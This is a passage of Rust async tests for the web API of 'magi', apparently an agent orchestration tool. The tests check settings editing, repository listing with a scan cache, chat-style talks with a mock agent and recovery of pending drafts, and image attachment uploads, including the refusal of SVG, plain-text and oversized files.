8164 assert_eq!(missing.status, 404, "{}", missing.body);
8165 assert!(missing.json()["error"].is_string());
8166 }
8167
8168 #[tokio::test]
8175 async fn a_task_cannot_be_filed_over_the_phone_directly() {
8176 let f = Fixture::start().await;
8177
8178 let res = f
8179 .post(
8180 "/api/queue",
8181 Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
8182 )
8183 .await;
8184
8185 assert_eq!(
8186 res.status, 405,
8187 "POST /api/queue must not be a route: {}",
8188 res.body
8189 );
8190 assert!(
8191 f.queue().list().is_empty(),
8192 "a task filed by a route that does not exist must not reach the disk"
8193 );
8194 assert_eq!(f.get("/api/queue").await.status, 200);
8197 }
8198
8199 fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
8201 std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
8202 .expect("checkout dir");
8203 }
8204
8205 const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
8207
8208 fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
8209 let tmp = TempDir::new().expect("tempdir");
8210 let repo = tmp.path().join("repo");
8211 std::fs::create_dir_all(&repo).expect("repo dir");
8212 std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
8213 let machine = tmp.path().join("cfg").join("magi").join("config.toml");
8214 if let Some(text) = machine_toml {
8215 std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
8216 std::fs::write(&machine, text).expect("machine toml");
8217 }
8218 (tmp, repo, machine)
8219 }
8220
8221 #[tokio::test]
8222 async fn settings_get_reports_sources_and_the_advisors_fallback() {
8223 let (_tmp, repo, machine) =
8224 settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
8225 let f = Fixture::with_repo_and_machine(repo, machine).await;
8226 let res = f.get("/api/settings").await;
8227 assert_eq!(res.status, 200, "{}", res.body);
8228 let v = res.json();
8229 assert!(v["error"].is_null(), "{v}");
8230 let role = |k: &str| {
8231 v["roles"]
8232 .as_array()
8233 .and_then(|r| r.iter().find(|x| x["key"] == k))
8234 .cloned()
8235 .unwrap_or_else(|| panic!("no role {k}: {v}"))
8236 };
8237 assert_eq!(role("judges")["source"], "machine");
8238 assert_eq!(role("judges")["editable"], true);
8239 assert_eq!(role("implementers")["source"], "default");
8240 let adv = role("advisors");
8241 assert_eq!(adv["fallback"], "judges");
8242 assert!(
8243 adv["seats"]
8244 .as_array()
8245 .is_some_and(|s| s.iter().all(|x| x == "b")),
8246 "{adv}"
8247 );
8248 assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
8249 assert_eq!(v["agents"][0]["source"], "repo");
8250 }
8251
8252 #[tokio::test]
8253 async fn settings_get_reports_a_config_that_does_not_parse() {
8254 let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
8255 let f = Fixture::with_repo_and_machine(repo, machine).await;
8256 let res = f.get("/api/settings").await;
8257 assert_eq!(res.status, 200, "{}", res.body);
8258 let v = res.json();
8259 assert!(v["error"]["message"].is_string(), "{v}");
8260 assert!(
8261 v["error"]["path"]
8262 .as_str()
8263 .is_some_and(|p| p.ends_with("magi.toml")),
8264 "{v}"
8265 );
8266 assert_eq!(v["roles"].as_array().map(Vec::len), Some(0));
8267 }
8268
8269 #[tokio::test]
8270 async fn settings_put_saves_to_the_machine_file_and_keeps_comments() {
8271 let (_tmp, repo, machine) = settings_dirs(
8272 SETTINGS_AGENTS,
8273 Some("# mine\n[roles]\n# seats\njudges = [\"a\"] # note\n\n[vars]\nx = 1\n"),
8274 );
8275 let repo_before = std::fs::read(repo.join("magi.toml")).expect("read");
8276 let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
8277 let rev = f.get("/api/settings").await.json()["revision"]
8278 .as_str()
8279 .expect("revision")
8280 .to_owned();
8281 let body = serde_json::json!({
8282 "revision": rev,
8283 "roles": { "judges": ["b", "a"], "reviewers": ["a"] }
8284 })
8285 .to_string();
8286 let res = f.put("/api/settings/roles", &body).await;
8287 assert_eq!(res.status, 200, "{}", res.body);
8288 let text = std::fs::read_to_string(&machine).expect("machine");
8289 assert_eq!(
8290 text,
8291 "# mine\n[roles]\n# seats\njudges = [\"b\", \"a\"] # note\nreviewers = [\"a\"]\n\n[vars]\nx = 1\n"
8292 );
8293 assert_eq!(
8294 std::fs::read(repo.join("magi.toml")).expect("read"),
8295 repo_before
8296 );
8297 let again = f.get("/api/settings").await.json();
8298 let judges = again["roles"]
8299 .as_array()
8300 .expect("roles")
8301 .iter()
8302 .find(|r| r["key"] == "judges")
8303 .expect("judges")
8304 .clone();
8305 assert_eq!(judges["configured"], serde_json::json!(["b", "a"]));
8306 let stale = f.put("/api/settings/roles", &body).await;
8308 assert_eq!(stale.status, 409, "{}", stale.body);
8309 }
8310
8311 #[tokio::test]
8312 async fn settings_put_refuses_without_touching_the_file() {
8313 let machine_text = "# mine\n[roles]\njudges = [\"a\"]\n";
8314 let (_tmp, repo, machine) = settings_dirs(
8315 &format!("{SETTINGS_AGENTS}\n[roles]\nreviewers = [\"a\"]\n"),
8316 Some(machine_text),
8317 );
8318 let f = Fixture::with_repo_and_machine(repo, machine.clone()).await;
8319 let rev = f.get("/api/settings").await.json()["revision"]
8320 .as_str()
8321 .expect("revision")
8322 .to_owned();
8323 for roles in [
8324 serde_json::json!({ "judges": ["nope"] }),
8325 serde_json::json!({ "reviewers": ["b"] }),
8326 serde_json::json!({ "bogus": ["a"] }),
8327 ] {
8328 let body = serde_json::json!({ "revision": rev, "roles": roles }).to_string();
8329 let res = f.put("/api/settings/roles", &body).await;
8330 assert_eq!(res.status, 422, "{roles}: {}", res.body);
8331 assert!(res.json()["error"].as_str().is_some_and(|m| !m.is_empty()));
8332 assert_eq!(
8333 std::fs::read_to_string(&machine).expect("machine"),
8334 machine_text
8335 );
8336 }
8337 }
8338
8339 #[tokio::test]
8340 async fn repos_list_returns_name_and_path_for_every_configured_root() {
8341 let tmp = TempDir::new().expect("tempdir");
8342 let repo = tmp.path().join("repo");
8343 std::fs::create_dir_all(&repo).expect("repo dir");
8344 let root = tmp.path().join("root");
8345 make_checkout(&root, "github.com", "yukimemi", "magi");
8346 std::fs::write(
8347 repo.join("magi.toml"),
8348 format!(
8349 "[repos]\nroots = [{:?}]\n",
8350 root.to_string_lossy().into_owned()
8351 ),
8352 )
8353 .expect("write magi.toml");
8354
8355 let f = Fixture::with_repo(repo).await;
8356 let res = f.get("/api/repos").await;
8357 assert_eq!(res.status, 200, "{}", res.body);
8358 let list = res.json();
8359 let repos = list.as_array().expect("an array");
8360 assert_eq!(repos.len(), 1);
8361 assert_eq!(repos[0]["name"], "yukimemi/magi");
8362 assert!(
8363 repos[0]["path"]
8364 .as_str()
8365 .is_some_and(|p| p.ends_with("magi") || p.contains("magi")),
8366 "{list}"
8367 );
8368 }
8369
8370 #[tokio::test]
8371 async fn repos_list_only_rescans_within_the_ttl_when_asked_to() {
8372 let tmp = TempDir::new().expect("tempdir");
8373 let repo = tmp.path().join("repo");
8374 std::fs::create_dir_all(&repo).expect("repo dir");
8375 let root = tmp.path().join("root");
8376 make_checkout(&root, "github.com", "yukimemi", "magi");
8377 std::fs::write(
8378 repo.join("magi.toml"),
8379 format!(
8380 "[repos]\nroots = [{:?}]\nscan_ttl = 3600\n",
8381 root.to_string_lossy().into_owned()
8382 ),
8383 )
8384 .expect("write magi.toml");
8385
8386 let f = Fixture::with_repo(repo).await;
8387 let first = f.get("/api/repos").await;
8388 assert_eq!(first.json().as_array().map(Vec::len), Some(1));
8389
8390 make_checkout(&root, "github.com", "yukimemi", "rvpm");
8393 let second = f.get("/api/repos").await;
8394 assert_eq!(
8395 second.json().as_array().map(Vec::len),
8396 Some(1),
8397 "a fresh cache must not rescan inside the TTL"
8398 );
8399
8400 let refreshed = f.get("/api/repos?refresh=1").await;
8401 assert_eq!(
8402 refreshed.json().as_array().map(Vec::len),
8403 Some(2),
8404 "an explicit refresh must rescan even inside the TTL"
8405 );
8406 }
8407
8408 const MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && printf ok\"]\n";
8414
8415 async fn talk_fixture() -> (TempDir, PathBuf, Fixture) {
8419 let tmp = TempDir::new().expect("tempdir");
8420 let repo = tmp.path().join("repo");
8421 std::fs::create_dir_all(&repo).expect("repo dir");
8422 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8423 let f = Fixture::with_repo(repo.clone()).await;
8424 (tmp, repo, f)
8425 }
8426
8427 #[tokio::test]
8428 async fn posting_a_talk_with_no_body_opens_one_and_takes_no_turn() {
8429 let (_tmp, _repo, f) = talk_fixture().await;
8430
8431 let opened = f.post("/api/talks", None).await;
8434 assert_eq!(opened.status, 201, "{}", opened.body);
8435 let body = opened.json();
8436 assert_eq!(body["status"], "open");
8437 assert_eq!(
8438 body["turns"].as_array().unwrap().len(),
8439 0,
8440 "opening takes no agent turn: there is nothing yet to answer"
8441 );
8442
8443 let also_opened = f.post("/api/talks", Some("{}")).await;
8445 assert_eq!(also_opened.status, 201, "{}", also_opened.body);
8446
8447 let listed = f.get("/api/talks").await.json();
8448 assert_eq!(listed.as_array().unwrap().len(), 2);
8449 }
8450
8451 #[tokio::test]
8452 async fn talk_agent_switches_the_roster_agent_and_refuses_unknown_busy_or_closed() {
8453 let tmp = TempDir::new().expect("tempdir");
8454 let repo = tmp.path().join("repo");
8455 std::fs::create_dir_all(&repo).expect("repo dir");
8456 let second = MOCK_AGENT_TOML.replace("\"mock\"", "\"second\"");
8457 std::fs::write(
8458 repo.join("magi.toml"),
8459 format!("{MOCK_AGENT_TOML}\n{second}"),
8460 )
8461 .expect("write magi.toml");
8462 let home = TempDir::new().expect("temp home");
8463 let talks = Talks::at(home.path().join("talks"));
8464 let ui = Arc::new(
8465 Ui::new(
8466 Queue::at(home.path().join("queue")),
8467 Questions::at(home.path().join("questions")),
8468 talks.clone(),
8469 home.path().join("runs"),
8470 home.path().to_path_buf(),
8471 repo.clone(),
8472 )
8473 .with_worktrees_root(home.path().join("wt")),
8474 );
8475 let cfg = config_for(&repo).await.expect("discover config");
8476 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
8477 let id = talk.id.clone();
8478 let call = |agent: &str| {
8479 talk_agent(
8480 State(Arc::clone(&ui)),
8481 Path(id.clone()),
8482 Json(TalkAgent {
8483 agent: agent.to_owned(),
8484 }),
8485 )
8486 };
8487
8488 let unknown = call("nobody").await.expect_err("unknown agent");
8489 assert_eq!(
8490 unknown.status,
8491 StatusCode::BAD_REQUEST,
8492 "{}",
8493 unknown.message
8494 );
8495
8496 {
8497 let mut claimed = None;
8500 for _ in 0..200 {
8501 claimed = ui.begin_talk_turn(&id).expect("claim");
8502 if claimed.is_some() {
8503 break;
8504 }
8505 tokio::time::sleep(Duration::from_millis(10)).await;
8506 }
8507 let _busy = claimed.expect("free");
8508 let busy = call("second").await.expect_err("busy talk");
8509 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
8510 }
8511 assert_eq!(talks.get(&id).expect("reload").agent, "mock");
8512
8513 let Json(view) = call("second").await.expect("switch");
8514 assert_eq!(view.talk.agent, "second");
8515 assert_eq!(view.talk.turns.len(), 1, "the change is noted");
8516 let saved = talks.get(&id).expect("reload");
8517 assert_eq!(saved.agent, "second");
8518 assert_eq!(saved.turns.len(), 1);
8519
8520 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
8521 .await
8522 .expect("detail");
8523 let roster: Vec<&str> = detail.0.roster.iter().map(|r| r.id.as_str()).collect();
8524 assert_eq!(roster, ["mock", "second"]);
8525
8526 let mut closed = talks.get(&id).expect("reload");
8527 talk::close(&mut closed, &talks).expect("close");
8528 let refused = call("mock").await.expect_err("closed talk");
8529 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
8530 }
8531
8532 #[tokio::test]
8533 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
8534 let f = Fixture::start().await;
8535 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
8536 let queue = f.queue();
8537 let mut mine = Task::new(
8538 "rename the loader".to_owned(),
8539 "rename the loader".to_owned(),
8540 PathBuf::from("/repo/magi"),
8541 Source::Agent {
8542 run: talk_id.clone(),
8543 node: "chat".to_owned(),
8544 },
8545 );
8546 queue.put(&mut mine).expect("file the task");
8547 let mut theirs = Task::new(
8548 "unrelated".to_owned(),
8549 "unrelated".to_owned(),
8550 PathBuf::from("/repo/magi"),
8551 Source::Human,
8552 );
8553 queue.put(&mut theirs).expect("file the task");
8554
8555 let res = f.get(&format!("/api/talks/{talk_id}")).await;
8556 assert_eq!(res.status, 200, "{}", res.body);
8557 let body = res.json();
8558 assert_eq!(
8559 body["status"], "open",
8560 "filing a task does not close a talk"
8561 );
8562 let tasks = body["tasks"].as_array().expect("tasks array");
8563 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
8564 assert_eq!(tasks[0]["id"], mine.id);
8565 }
8566
8567 #[tokio::test]
8568 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
8569 let (_tmp, _repo, f) = talk_fixture().await;
8570 let id = f.post("/api/talks", None).await.json()["id"]
8571 .as_str()
8572 .expect("id")
8573 .to_owned();
8574
8575 let res = f
8576 .post(
8577 &format!("/api/talks/{id}/say"),
8578 Some(r#"{"text":"what does the queue module do?"}"#),
8579 )
8580 .await;
8581 assert_eq!(res.status, 202, "{}", res.body);
8582 let queued = res.json();
8583 let turns = queued["turns"].as_array().expect("turns array");
8584 assert_eq!(
8585 turns.len(),
8586 1,
8587 "the answer reflects only what is on disk the instant it is sent, \
8588 before the agent's turn - which can run for the whole of \
8589 `[graph] timeout_talk` - has a chance to land: {queued}"
8590 );
8591 assert_eq!(turns[0]["who"], "operator");
8592 assert_eq!(turns[0]["body"], "what does the queue module do?");
8593 assert_eq!(
8594 queued["thinking"], true,
8595 "the accepted response exposes the background turn claim: {queued}"
8596 );
8597
8598 let mut turns_after = 1;
8599 for _ in 0..SETTLE_STEPS {
8600 let detail = f.get(&format!("/api/talks/{id}")).await.json();
8601 turns_after = detail["turns"].as_array().expect("turns array").len();
8602 if turns_after == 2 {
8603 break;
8604 }
8605 tokio::time::sleep(Duration::from_millis(10)).await;
8606 }
8607 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
8608 }
8609
8610 #[tokio::test]
8637 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
8638 let tmp = TempDir::new().expect("tempdir");
8639 let repo = tmp.path().join("repo");
8640 std::fs::create_dir_all(&repo).expect("repo dir");
8641 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8642 let home = TempDir::new().expect("temp home");
8643 let talks = Talks::at(home.path().join("talks"));
8644 let ui = Arc::new(
8645 Ui::new(
8646 Queue::at(home.path().join("queue")),
8647 Questions::at(home.path().join("questions")),
8648 talks.clone(),
8649 home.path().join("runs"),
8650 home.path().to_path_buf(),
8651 repo.clone(),
8652 )
8653 .with_worktrees_root(home.path().join("wt")),
8654 );
8655 let cfg = config_for(&repo).await.expect("discover config");
8656
8657 for delay in 0..40u32 {
8658 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8659 let id = talk.id.clone();
8660
8661 let handler = tokio::spawn(talk_say(
8662 State(Arc::clone(&ui)),
8663 Path(id.clone()),
8664 Ok(Json(NewTalkTurn {
8665 text: "what does the queue module do?".to_owned(),
8666 attachments: Vec::new(),
8667 })),
8668 ));
8669 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
8670 handler.abort();
8671 let _ = handler.await;
8674
8675 let mut turns = 0;
8676 for _ in 0..SETTLE_STEPS {
8677 if let Ok(fresh) = talks.get(&id) {
8678 turns = fresh.turns.len();
8679 if turns != 1 {
8680 break;
8681 }
8682 }
8683 tokio::time::sleep(Duration::from_millis(10)).await;
8684 }
8685 assert_ne!(
8686 turns, 1,
8687 "delay {delay}: talk {id} recorded the operator's turn but \
8688 the agent never answered - the reply task was never \
8689 started after the handler future was dropped"
8690 );
8691 }
8692 }
8693
8694 #[tokio::test]
8739 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
8740 let tmp = TempDir::new().expect("tempdir");
8741 let repo = tmp.path().join("repo");
8742 std::fs::create_dir_all(&repo).expect("repo dir");
8743 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
8744 let home = TempDir::new().expect("temp home");
8745 let talks = Talks::at(home.path().join("talks"));
8746 let ui = Arc::new(
8747 Ui::new(
8748 Queue::at(home.path().join("queue")),
8749 Questions::at(home.path().join("questions")),
8750 talks.clone(),
8751 home.path().join("runs"),
8752 home.path().to_path_buf(),
8753 repo.clone(),
8754 )
8755 .with_worktrees_root(home.path().join("wt")),
8756 );
8757 let cfg = config_for(&repo).await.expect("discover config");
8758
8759 for attempt in 0..3u32 {
8760 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
8761 let id = talk.id.clone();
8762 let turn_guard = ui
8765 .begin_talk_turn(&id)
8766 .expect("claim the turn")
8767 .expect("a fresh talk owes nobody a turn");
8768
8769 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
8770 let (release_tx, release_rx) = std::sync::mpsc::channel();
8771 ui.set_busy_queue_gate(BusyQueueGate {
8772 reached: reached_tx,
8773 release: release_rx,
8774 });
8775
8776 let handler = tokio::spawn(talk_say(
8777 State(Arc::clone(&ui)),
8778 Path(id.clone()),
8779 Ok(Json(NewTalkTurn {
8780 text: "what does the queue module do?".to_owned(),
8781 attachments: Vec::new(),
8782 })),
8783 ));
8784
8785 tokio::time::timeout(Duration::from_secs(5), reached_rx)
8790 .await
8791 .unwrap_or_else(|_| {
8792 panic!(
8793 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
8794 )
8795 })
8796 .expect("the busy branch dropped the gate without using it");
8797
8798 let running = talks.get(&id).expect("reload talk");
8805 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
8806
8807 handler.abort();
8811 let _ = handler.await;
8812
8813 let _ = release_tx.send(());
8819
8820 let mut fresh = talks.get(&id).expect("reload talk");
8823 for _ in 0..SETTLE_STEPS {
8824 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
8825 break;
8826 }
8827 tokio::time::sleep(Duration::from_millis(10)).await;
8828 fresh = talks.get(&id).expect("reload talk");
8829 }
8830 assert!(
8831 fresh.pending.is_empty() && fresh.turns.len() == 2,
8832 "attempt {attempt}: talk {id} left the operator's text queued \
8833 with no drainer - the reclaimed turn was dropped along with \
8834 the handler future (pending {:?}, {} turns)",
8835 fresh.pending,
8836 fresh.turns.len()
8837 );
8838 }
8839 }
8840
8841 #[tokio::test]
8842 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
8843 let (_tmp, _repo, f) = talk_fixture().await;
8844 let id = f.post("/api/talks", None).await.json()["id"]
8845 .as_str()
8846 .expect("id")
8847 .to_owned();
8848 let store = f.talks();
8849 let mut recovered = store.get(&id).expect("opened talk");
8850 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8851 .expect("persist pending draft without a live turn");
8852
8853 let edited = f
8854 .post(
8855 &format!("/api/talks/{id}/pending/edit"),
8856 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
8857 )
8858 .await;
8859 assert_eq!(edited.status, 200, "{}", edited.body);
8860 assert!(edited.json()["thinking"].as_bool().unwrap());
8861
8862 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
8863 for _ in 0..SETTLE_STEPS {
8864 if detail["turns"].as_array().expect("turns").len() == 2 {
8865 break;
8866 }
8867 tokio::time::sleep(Duration::from_millis(10)).await;
8868 detail = f.get(&format!("/api/talks/{id}")).await.json();
8869 }
8870 let turns = detail["turns"].as_array().expect("turns");
8871 assert_eq!(
8872 turns.len(),
8873 2,
8874 "the recovered draft must run once: {detail}"
8875 );
8876 assert_eq!(turns[0]["body"], "corrected");
8877 assert_eq!(detail["pending"], "");
8878 }
8879
8880 #[tokio::test]
8881 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
8882 let tmp = TempDir::new().expect("tempdir");
8883 let repo = tmp.path().join("repo");
8884 std::fs::create_dir_all(&repo).expect("repo dir");
8885 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
8886 let f = Fixture::with_repo(repo).await;
8887 let id = f.post("/api/talks", None).await.json()["id"]
8888 .as_str()
8889 .expect("id")
8890 .to_owned();
8891 let store = f.talks();
8892 let mut recovered = store.get(&id).expect("opened talk");
8893 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
8894 .expect("persist pending draft without a live turn");
8895
8896 let refused = f
8897 .post(
8898 &format!("/api/talks/{id}/say"),
8899 Some(r#"{"text":"new message"}"#),
8900 )
8901 .await;
8902 assert_eq!(refused.status, 409, "{}", refused.body);
8903 assert!(refused.body.contains("resume"), "{}", refused.body);
8904 let saved = store.get(&id).expect("draft remains after refusal");
8905 assert!(saved.turns.is_empty());
8906 assert_eq!(saved.pending, "saved before restart");
8907
8908 let say_path = format!("/api/talks/{id}/say");
8909 let (first, second) = tokio::join!(
8910 f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
8911 f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
8912 );
8913 assert_eq!(first.status, 409, "{}", first.body);
8914 assert_eq!(second.status, 409, "{}", second.body);
8915 let saved = store
8916 .get(&id)
8917 .expect("draft remains after concurrent refusals");
8918 assert!(saved.turns.is_empty());
8919 assert_eq!(saved.pending, "saved before restart");
8920
8921 let resumed = f
8922 .post(&format!("/api/talks/{id}/pending/resume"), None)
8923 .await;
8924 assert_eq!(resumed.status, 202, "{}", resumed.body);
8925 let duplicate = f
8926 .post(&format!("/api/talks/{id}/pending/resume"), None)
8927 .await;
8928 assert_eq!(duplicate.status, 409, "{}", duplicate.body);
8929
8930 for _ in 0..SETTLE_STEPS {
8931 if store.get(&id).expect("talk").turns.len() == 2 {
8932 break;
8933 }
8934 tokio::time::sleep(Duration::from_millis(10)).await;
8935 }
8936 let finished = store.get(&id).expect("finished talk");
8937 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8938 assert_eq!(finished.turns[0].body, "saved before restart");
8939 assert!(finished.pending.is_empty());
8940 }
8941
8942 #[tokio::test]
8943 async fn an_image_only_recovered_draft_resumes_without_text() {
8944 let (_tmp, _repo, f) = talk_fixture().await;
8945 let id = f.post("/api/talks", None).await.json()["id"]
8946 .as_str()
8947 .expect("id")
8948 .to_owned();
8949 let uploaded = f
8950 .post_bytes(
8951 &format!("/api/talks/{id}/attachments"),
8952 &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
8953 PNG_BYTES,
8954 )
8955 .await;
8956 assert_eq!(uploaded.status, 201, "{}", uploaded.body);
8957 let attachment = f
8958 .talks()
8959 .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
8960 .expect("attachment metadata")
8961 .expect("stored attachment");
8962 let store = f.talks();
8963 let mut recovered = store.get(&id).expect("opened talk");
8964 talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
8965
8966 let resumed = f
8967 .post(&format!("/api/talks/{id}/pending/resume"), None)
8968 .await;
8969 assert_eq!(resumed.status, 202, "{}", resumed.body);
8970 for _ in 0..SETTLE_STEPS {
8971 if store.get(&id).expect("talk").turns.len() == 2 {
8972 break;
8973 }
8974 tokio::time::sleep(Duration::from_millis(10)).await;
8975 }
8976 let finished = store.get(&id).expect("finished talk");
8977 assert_eq!(finished.turns.len(), 2, "{finished:?}");
8978 assert!(finished.turns[0].body.is_empty());
8979 assert_eq!(finished.turns[0].attachments.len(), 1);
8980 assert!(finished.pending_attachments.is_empty());
8981 }
8982
8983 #[tokio::test]
8984 async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
8985 let (_tmp, _repo, f) = talk_fixture().await;
8986 let id = f.post("/api/talks", None).await.json()["id"]
8987 .as_str()
8988 .expect("id")
8989 .to_owned();
8990 let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
8991 assert_eq!(closed.status, 200, "{}", closed.body);
8992 let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
8993 .expect("serialize closed talk");
8994 for (path, body) in [
8995 (format!("/api/talks/{id}/pending/resume"), None),
8996 (
8997 format!("/api/talks/{id}/pending/clear"),
8998 Some(r#"{"expected_text":"","expected_attachments":[]}"#),
8999 ),
9000 (
9001 format!("/api/talks/{id}/pending/edit"),
9002 Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
9003 ),
9004 (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
9005 ] {
9006 let response = f.post(&path, body).await;
9007 assert_eq!(response.status, 409, "{}", response.body);
9008 }
9009 let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
9010 .expect("serialize closed talk");
9011 assert_eq!(
9012 after_clear, before_clear,
9013 "clear must not rewrite a closed talk"
9014 );
9015 }
9016
9017 const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 0.3 && printf ok\"]\n";
9020
9021 #[tokio::test]
9022 async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
9023 let tmp = TempDir::new().expect("tempdir");
9024 let repo = tmp.path().join("repo");
9025 std::fs::create_dir_all(&repo).expect("repo dir");
9026 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
9027 let f = Fixture::with_repo(repo).await;
9028 let id_a = f.post("/api/talks", None).await.json()["id"]
9029 .as_str()
9030 .unwrap()
9031 .to_owned();
9032 let id_b = f.post("/api/talks", None).await.json()["id"]
9033 .as_str()
9034 .unwrap()
9035 .to_owned();
9036
9037 let a = f
9038 .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
9039 .await;
9040 assert_eq!(a.status, 202, "{}", a.body);
9041 assert_eq!(a.json()["thinking"], true);
9042 let b = f
9043 .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
9044 .await;
9045 assert_eq!(b.status, 202, "{}", b.body);
9046 assert_eq!(b.json()["thinking"], true);
9047
9048 let listed = f.get("/api/talks").await.json();
9049 for id in [&id_a, &id_b] {
9050 let view = listed
9051 .as_array()
9052 .unwrap()
9053 .iter()
9054 .find(|talk| talk["id"] == *id)
9055 .unwrap();
9056 assert_eq!(view["thinking"], true, "{listed}");
9057 }
9058 let repeated = f
9059 .post(
9060 &format!("/api/talks/{id_a}/say"),
9061 Some(r#"{"text":"again"}"#),
9062 )
9063 .await;
9064 assert_eq!(repeated.status, 202, "{}", repeated.body);
9065 assert_eq!(repeated.json()["pending"], "again");
9066 }
9067
9068 const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
9071
9072 #[tokio::test]
9073 async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
9074 let f = Fixture::start().await;
9075 let id = seed_talk(&f, "20260905-000000-a1b2", "open");
9076
9077 let res = f
9078 .post_bytes(
9079 &format!("/api/talks/{id}/attachments"),
9080 &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
9081 PNG_BYTES,
9082 )
9083 .await;
9084 assert_eq!(res.status, 201, "{}", res.body);
9085 let body = res.json();
9086 assert_eq!(body["name"], "shot.png");
9087 assert_eq!(body["mime"], "image/png");
9088 assert_eq!(body["bytes"], PNG_BYTES.len());
9089 let att_id = body["id"].as_str().expect("id").to_owned();
9090 assert_eq!(
9091 att_id.len(),
9092 32,
9093 "the id must never be a client-suppliable path: {att_id}"
9094 );
9095
9096 let got = f
9097 .get(&format!("/api/talks/{id}/attachments/{att_id}"))
9098 .await;
9099 assert_eq!(got.status, 200, "{}", got.body);
9100 assert_eq!(got.header("content-type"), Some("image/png"));
9101 assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
9102 assert_eq!(got.bytes, PNG_BYTES);
9103 }
9104
9105 #[tokio::test]
9106 async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
9107 let f = Fixture::start().await;
9108 let id = seed_talk(&f, "20260905-000000-c3d4", "open");
9109
9110 let svg = f
9113 .post_bytes(
9114 &format!("/api/talks/{id}/attachments"),
9115 &[("Content-Type", "image/svg+xml")],
9116 b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
9117 )
9118 .await;
9119 assert!(
9120 (400..500).contains(&svg.status),
9121 "svg must be refused: {} {}",
9122 svg.status,
9123 svg.body
9124 );
9125 assert!(svg.body.contains("SVG"), "{}", svg.body);
9126
9127 let text = f
9128 .post_bytes(
9129 &format!("/api/talks/{id}/attachments"),
9130 &[("Content-Type", "text/plain")],
9131 b"just some text",
9132 )
9133 .await;
9134 assert!(
9135 (400..500).contains(&text.status),
9136 "an unlisted type must be refused: {} {}",
9137 text.status,
9138 text.body
9139 );
9140
9141 let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
9144 let big = f
9145 .post_bytes(
9146 &format!("/api/talks/{id}/attachments"),
9147 &[("Content-Type", "image/png")],
9148 &oversized,
9149 )
9150 .await;
9151 assert_eq!(
9152 big.status,
9153 StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
9154 "{}",
9155 big.body
9156 );
9157 }
9158
9159 #[tokio::test]
